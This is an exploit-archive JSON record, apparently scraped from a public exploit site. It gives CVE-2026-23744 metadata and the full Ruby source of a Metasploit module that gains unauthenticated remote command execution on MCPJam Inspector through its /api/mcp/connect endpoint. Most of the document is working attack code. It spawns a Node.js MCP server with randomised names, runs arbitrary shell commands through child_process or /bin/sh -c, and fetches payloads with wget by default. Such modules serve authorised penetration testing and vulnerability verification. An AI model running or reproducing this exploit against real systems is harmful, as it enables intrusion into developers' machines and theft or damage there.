{"exploit":{"id":"MSF-multi--http--mcpjam_inspector_rce","name":"MCPJam Inspector Connect API Command Execution","description":"This module exploits an unauthenticated command execution vulnerability in MCPJam Inspector. The /api/mcp/connect endpoint accepts a JSON serverConfig object containing a command and argument list used to start an MCP server. A remote attacker can abuse this endpoint to execute arbitrary operating system commands as the user running MCPJam Inspector. By default, this module starts a transient Node.js stdio MCP server, then invokes a tool that executes the Metasploit command payload. A direct /bin/sh -c mode is also available via EXEC_METHOD=direct_sh, but the MCP tool mode is more reliable when the inspector expects a valid MCP handshake.","cves":["CVE-2026-23744"],"author":"Louay-075, earthenvessel","published":"2026-01-16","platform":"Linux,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/mcpjam_inspector_rce.rb","path":"modules/exploits/multi/http/mcpjam_inspector_rce.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"mcpjam_inspector_rce.rb","vulnerabilities":[{"id":"CVE-2026-23744","state":"PUBLISHED","title":"REC in MCPJam inspector due to HTTP Endpoint exposes","titleSource":"CVE Program","description":"MCPJam inspector is the local-first development platform for MCP servers. Versions 1.4.2 and earlier are vulnerable to remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. Since MCPJam inspector by default listens on 0.0.0.0 instead of 127.0.0.1, an attacker can trigger the RCE remotely via a simple HTTP request. Version 1.4.3 contains a patch.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-23744","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-23744"},"updatedAt":"2026-01-16T21:15:53.738Z","retrievedAt":"2026-11-25T16:13:47.470Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--mcpjam_inspector_rce.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--mcpjam_inspector_rce","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--mcpjam_inspector_rce/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--mcpjam_inspector_rce/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"# frozen_string_literal: true\n\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  prepend Msf::Exploit::Remote::AutoCheck\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'MCPJam Inspector Connect API Command Execution',\n        'Description' => %q{\n          This module exploits an unauthenticated command execution vulnerability in\n          MCPJam Inspector. The /api/mcp/connect endpoint accepts a JSON serverConfig\n          object containing a command and argument list used to start an MCP server.\n          A remote attacker can abuse this endpoint to execute arbitrary operating\n          system commands as the user running MCPJam Inspector.\n\n          By default, this module starts a transient Node.js stdio MCP server, then\n          invokes a tool that executes the Metasploit command payload. A direct\n          /bin/sh -c mode is also available via EXEC_METHOD=direct_sh, but the MCP\n          tool mode is more reliable when the inspector expects a valid MCP\n          handshake.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Louay-075', # PoC author\n          'earthenvessel' # Metasploit module\n        ],\n        'References' => [\n          ['CVE', '2026-23744'],\n          ['URL', 'https://github.com/mcpjam/inspector'],\n          ['URL', 'https://packetinside.github.io/cves/cve-2026-23744/']\n        ],\n        'DisclosureDate' => '2026-01-16',\n        'Payload' => {\n          'Space' => 8192,\n          'DisableNops' => true\n        },\n        'Privileged' => false,\n        'Targets' => [\n          [\n            'Unix/Linux Command',\n            {\n              'Platform' => %w[unix linux],\n              'Arch' => ARCH_CMD,\n              'DefaultOptions' => {\n                'FETCH_COMMAND' => 'WGET'\n              }\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'SSL' => true,\n          'RPORT' => 443\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'Base path for MCPJam Inspector', '/']),\n        OptString.new('SERVER_ID', [true, 'Server ID to use for the transient MCP connection', random_server_id]),\n        OptEnum.new('EXEC_METHOD', [true, 'Command dispatch method', 'mcp_tool', ['mcp_tool', 'direct_sh']]),\n        OptBool.new('FETCH_OUTPUT', [true, 'Fetch command output from the MCP tool response', false])\n      ]\n    )\n  end\n\n  def base_path\n    normalize_uri(target_uri.path)\n  end\n\n  def connect_path\n    normalize_uri(base_path, 'api', 'mcp', 'connect')\n  end\n\n  def tools_execute_path\n    normalize_uri(base_path, 'api', 'mcp', 'tools', 'execute')\n  end\n\n  def delete_server_path(id)\n    normalize_uri(base_path, 'api', 'mcp', 'servers', id)\n  end\n\n  def random_server_id(prefix = 'msf')\n    \"#{prefix}-#{Rex::Text.rand_text_alphanumeric(8)}\"\n  end\n\n  def mcp_tool_names\n    names = {}\n    %i[\n      readline fetch_default send_response response line message error child_process arguments command fetch_output\n      exec_error stdout stderr child tool_name command_key fetch_output_key\n    ].each do |name|\n      random_name = \"_#{Rex::Text.rand_text_alpha_lower(8)}\"\n      random_name = \"_#{Rex::Text.rand_text_alpha_lower(8)}\" while names.value?(random_name)\n      names[name] = random_name\n    end\n\n    names\n  end\n\n  def post_connect(config, id:, timeout: 20)\n    send_request_cgi(\n      {\n        'method' => 'POST',\n        'uri' => connect_path,\n        'ctype' => 'application/json',\n        'data' => {\n          'serverId' => id,\n          'serverConfig' => config\n        }.to_json\n      },\n      timeout\n    )\n  end\n\n  def mcp_tool_payload(names, fetch_output: false)\n    fetch_output_literal = fetch_output ? 'true' : 'false'\n\n    %{\nconst #{names[:readline]}=require('readline').createInterface({input:process.stdin});\nconst #{names[:fetch_default]}=#{fetch_output_literal};\nfunction #{names[:send_response]}(#{names[:response]}){process.stdout.write(JSON.stringify(#{names[:response]})+'\\\\n')}\n#{names[:readline]}.on('line',function(#{names[:line]}){\n  let #{names[:message]}; try{#{names[:message]}=JSON.parse(#{names[:line]})}catch(#{names[:error]}){return}\n  if(#{names[:message]}.method==='initialize'){\n    #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{protocolVersion:'2024-11-05',capabilities:{tools:{}},serverInfo:{name:'svc',version:'1.0.0'}}});\n  } else if(#{names[:message]}.method==='notifications/initialized'){\n  } else if(#{names[:message]}.method==='tools/list'){\n    #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{tools:[{name:'#{names[:tool_name]}',description:'run command',inputSchema:{type:'object',properties:{#{names[:command_key]}:{type:'string'},#{names[:fetch_output_key]}:{type:'boolean'}},required:['#{names[:command_key]}']}}]}});\n  } else if(#{names[:message]}.method==='tools/call'){\n    const #{names[:child_process]}=require('child_process');\n    const #{names[:arguments]}=(#{names[:message]}.params&&#{names[:message]}.params.arguments)||{};\n    const #{names[:command]}=#{names[:arguments]}['#{names[:command_key]}']||'id';\n    const #{names[:fetch_output]}=#{names[:arguments]}['#{names[:fetch_output_key]}']===undefined?#{names[:fetch_default]}:!!#{names[:arguments]}['#{names[:fetch_output_key]}'];\n    if(#{names[:fetch_output]}){\n      #{names[:child_process]}.exec(#{names[:command]},{timeout:30000},function(#{names[:exec_error]},#{names[:stdout]},#{names[:stderr]}){\n        #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{content:[{type:'text',text:(#{names[:stdout]}||'')+(#{names[:stderr]}||'')+(#{names[:exec_error]}?String(#{names[:exec_error]}):'')}],isError:!!#{names[:exec_error]}}});\n      });\n    } else {\n      const #{names[:child]}=#{names[:child_process]}.spawn('/bin/sh',['-c',#{names[:command]}],{detached:true,stdio:'ignore'});\n      #{names[:child]}.unref();\n      #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{content:[{type:'text',text:'Command dispatched'}],isError:false}});\n    }\n  } else if(#{names[:message]}.id!==undefined){\n    #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{}});\n  }\n});\n    }.strip\n  end\n\n  def start_mcp_tool_server(id, names, fetch_output: datastore['FETCH_OUTPUT'])\n    print_status(\"Starting transient Node.js MCP command server as server ID #{id}\")\n\n    post_connect(\n      {\n        'command' => 'node',\n        'args' => ['-e', mcp_tool_payload(names, fetch_output: fetch_output)]\n      },\n      id: id,\n      timeout: 20\n    )\n  end\n\n  def execute_mcp_tool(id, cmd, names, fetch_output: datastore['FETCH_OUTPUT'])\n    send_request_cgi(\n      {\n        'method' => 'POST',\n        'uri' => tools_execute_path,\n        'ctype' => 'application/json',\n        'data' => {\n          'serverId' => id,\n          'toolName' => names[:tool_name],\n          'parameters' => {\n            names[:command_key] => cmd,\n            names[:fetch_output_key] => fetch_output\n          }\n        }.to_json\n      },\n      35\n    )\n  end\n\n  def cleanup_mcp_server(id)\n    send_request_cgi('method' => 'DELETE', 'uri' => delete_server_path(id)) if id\n  end\n\n  def check\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => base_path\n    )\n\n    return CheckCode::Unknown('No response from the target') unless res\n\n    unless res.code == 200 && res.body&.include?('MCPJam Inspector')\n      return CheckCode::Safe('The target does not appear to be MCPJam Inspector')\n    end\n\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => connect_path,\n      'ctype' => 'application/json',\n      'data' => { 'serverId' => random_server_id('check') }.to_json\n    )\n\n    return CheckCode::Detected('MCPJam Inspector was detected, but the connect endpoint could not be verified') unless res\n\n    json = res.get_json_document\n    auth_text = [\n      json['error'],\n      json['message'],\n      json['hint']\n    ].compact.join(' ')\n    if [401, 403].include?(res.code) && auth_text.match?(/unauthorized|session token|required|X-MCP-Session-Auth/i)\n      return CheckCode::Safe('MCPJam Inspector requires session-token authentication for the connect endpoint')\n    end\n\n    unless res.code == 400 && json['error'].to_s.include?('serverConfig is required')\n      return CheckCode::Detected('MCPJam Inspector was detected, but the connect endpoint response was unexpected')\n    end\n\n    id = random_server_id('check')\n    marker = Rex::Text.rand_text_alphanumeric(12)\n    names = mcp_tool_names\n    res = start_mcp_tool_server(id, names, fetch_output: true)\n    unless res&.code == 200\n      return CheckCode::Detected('MCPJam Inspector connect endpoint is reachable, but command execution could not be confirmed')\n    end\n\n    res = execute_mcp_tool(id, \"printf #{marker}\", names, fetch_output: true)\n    return CheckCode::Detected('MCPJam Inspector command execution could not be confirmed') unless res&.code == 200\n\n    output = res.get_json_document.dig('result', 'content', 0, 'text').to_s\n    if output.include?(marker)\n      return CheckCode::Vulnerable('MCPJam Inspector executed a benign command through the unauthenticated connect endpoint')\n    end\n\n    CheckCode::Detected('MCPJam Inspector command execution response did not contain the expected marker')\n  rescue JSON::ParserError\n    CheckCode::Detected('MCPJam Inspector was detected, but an endpoint returned invalid JSON')\n  rescue StandardError => e\n    CheckCode::Unknown(\"Unable to complete check: #{e.class}: #{e.message}\")\n  ensure\n    cleanup_mcp_server(id) if id\n  end\n\n  def execute_direct_sh(cmd, id)\n    print_status(\"Sending direct /bin/sh command via MCPJam connect endpoint as server ID #{id}\")\n\n    res = post_connect(\n      {\n        'command' => '/bin/sh',\n        'args' => ['-c', cmd]\n      },\n      id: id,\n      timeout: 20\n    )\n\n    if res.nil?\n      print_status('No HTTP response received after command dispatch')\n      return\n    end\n\n    case res.code\n    when 200\n      print_good('Command dispatched and the target returned success')\n    when 500\n      print_status(\"Command dispatched; target returned #{res.code} #{res.message}, which is expected for non-MCP payloads\")\n    else\n      print_warning(\"Unexpected response after command dispatch: HTTP #{res.code} #{res.message}\")\n      vprint_line(res.body.to_s)\n    end\n  end\n\n  def execute_via_mcp_tool(cmd, id)\n    names = mcp_tool_names\n    res = start_mcp_tool_server(id, names)\n\n    fail_with(Failure::Unreachable, 'No HTTP response received while starting MCP command server') unless res\n    unless res.code == 200\n      fail_with(Failure::UnexpectedReply, \"Failed to start MCP command server: HTTP #{res.code} #{res.message} #{res.body}\")\n    end\n\n    print_good('MCP command server connected')\n    print_status('Executing payload through MCP tools/execute')\n\n    res = execute_mcp_tool(id, cmd, names)\n\n    if res.nil?\n      print_status('No HTTP response received after tool execution')\n      return\n    end\n\n    unless res.code == 200\n      print_warning(\"Unexpected tools/execute response: HTTP #{res.code} #{res.message}\")\n      vprint_line(res.body.to_s)\n      return\n    end\n\n    result = res.get_json_document\n    text = result.dig('result', 'content', 0, 'text').to_s\n    if datastore['FETCH_OUTPUT']\n      print_status(\"Command result: #{text.strip}\") unless text.empty?\n    else\n      vprint_status(\"MCP tool response: #{text.strip}\") unless text.empty?\n    end\n  rescue JSON::ParserError\n    print_warning('Tools/execute returned non-JSON output')\n  ensure\n    cleanup_mcp_server(id)\n  end\n\n  def execute_command(cmd, _opts = {})\n    id = datastore['SERVER_ID']\n\n    if datastore['EXEC_METHOD'] == 'direct_sh'\n      execute_direct_sh(cmd, id)\n    else\n      execute_via_mcp_tool(cmd, id)\n    end\n  end\n\n  def exploit\n    execute_command(payload.encoded)\n  end\nend\n","sha256":"e9fd5faf4ed5968b8f5cdb8a92c9471e9a9bca291e674735bde1aaac0928c90b","bytes":12264,"fetchedAt":"2026-11-26T09:00:08.248Z","encoding":"utf-8 (display only; download retains original bytes)"}